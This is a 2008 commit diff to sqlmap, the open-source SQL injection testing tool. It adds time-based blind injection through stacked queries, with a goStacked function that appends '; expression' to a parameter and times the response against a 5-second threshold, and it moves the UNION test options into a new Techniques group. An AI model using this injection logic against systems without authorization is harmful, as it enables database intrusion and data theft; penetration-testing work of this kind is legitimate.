Initial implementation of support for stacked queries.

Added method to test for Time based blind SQL injection query stacking
on the affected parameter a SLEEP() or similar DBMS specific function.
Adapted libraries, plugins and XML with the above changes.
Minor layout adjustments.
This commit is contained in:
Bernardo Damele
2008-11-12 00:36:50 +00:00
parent 13f76cfe3b
commit 81ed7c2086
12 changed files with 185 additions and 95 deletions

View File

@@ -68,7 +68,10 @@ def action():
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
# Miscellaneous options
# Techniques options
if conf.timeTest:
dumper.string("time based sql injection", conf.dbmsHandler.timeTest())
if conf.unionTest:
dumper.string("valid union", unionTest())

View File

@@ -95,7 +95,7 @@ class Agent:
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.parenthesis != None:
if kb.parenthesis not in ( None, 0 ):
query += "%s " % (")" * kb.parenthesis)
query += string
@@ -343,7 +343,7 @@ class Agent:
@rtype: C{str}
"""
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
if not exprPosition:
exprPosition = kb.unionPosition

View File

@@ -48,6 +48,12 @@ optDict = {
"dbms": "string",
},
"Techniques": {
"timeTest": "boolean",
"unionTest": "boolean",
"unionUse": "boolean",
},
"Fingerprint": {
"extensiveFp": "boolean",
},
@@ -85,8 +91,6 @@ optDict = {
},
"Miscellaneous": {
"unionTest": "boolean",
"unionUse": "boolean",
"eta": "boolean",
"verbose": "integer",
"updateAll": "boolean",

View File

@@ -64,3 +64,5 @@ PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
TIME_SECONDS = 5

View File

@@ -103,6 +103,27 @@ def cmdLineParser():
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection "
"technique or to use one of them to exploit "
"the affected parameter(s) rather than using "
"the default blind SQL injection technique.")
techniques.add_option("--time-test", dest="timeTest",
action="store_true",
help="Test for Time based blind SQL injection")
techniques.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION SELECT (inband) SQL injection")
techniques.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION SELECT (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
# Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint")
@@ -215,16 +236,6 @@ def cmdLineParser():
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION SELECT (inband) SQL injection")
miscellaneous.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION SELECT (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Retrieve each query output length and "
"calculate the estimated time of arrival "
@@ -251,6 +262,7 @@ def cmdLineParser():
parser.add_option_group(request)
parser.add_option_group(injection)
parser.add_option_group(techniques)
parser.add_option_group(fingerprint)
parser.add_option_group(enumeration)
parser.add_option_group(filesystem)

View File

@@ -95,6 +95,14 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query"))
self.__queries.count = data
elif name == "comment":
data = sanitizeStr(attrs.get("query"))
self.__queries.comment = data
elif name == "timedelay":
data = sanitizeStr(attrs.get("query"))
self.__queries.timedelay = data
elif name == "substring":
data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data

View File

@@ -38,6 +38,8 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.settings import TIME_SECONDS
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse
from lib.techniques.inference.blind import bisection
from lib.utils.resume import queryOutputLength
@@ -53,7 +55,7 @@ def __getFieldsProxy(expression):
def __goInference(payload, expression):
start = time.time()
start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload)
@@ -100,7 +102,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
parameter through a bisection algorithm.
"""
query = agent.prefixQuery(temp.inference)
query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
count = None
@@ -379,3 +381,22 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
value = __goInferenceProxy(expression, fromUser, expected)
return value
def goStacked(expression, timeTest=False):
"""
TODO: write description
"""
query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
start = time.time()
Request.queryPage(payload)
duration = int(time.time() - start)
if timeTest:
return (duration >= TIME_SECONDS, payload)
else:
return duration >= TIME_SECONDS

View File

@@ -92,7 +92,7 @@ def unionTest():
value = ""
query = agent.prefixQuery("UNION ALL SELECT NULL")
query = agent.prefixQuery(" UNION ALL SELECT NULL")
for comment in ("--", "#", "/*", ";", "%00"):
value = __effectiveUnionTest(query, comment)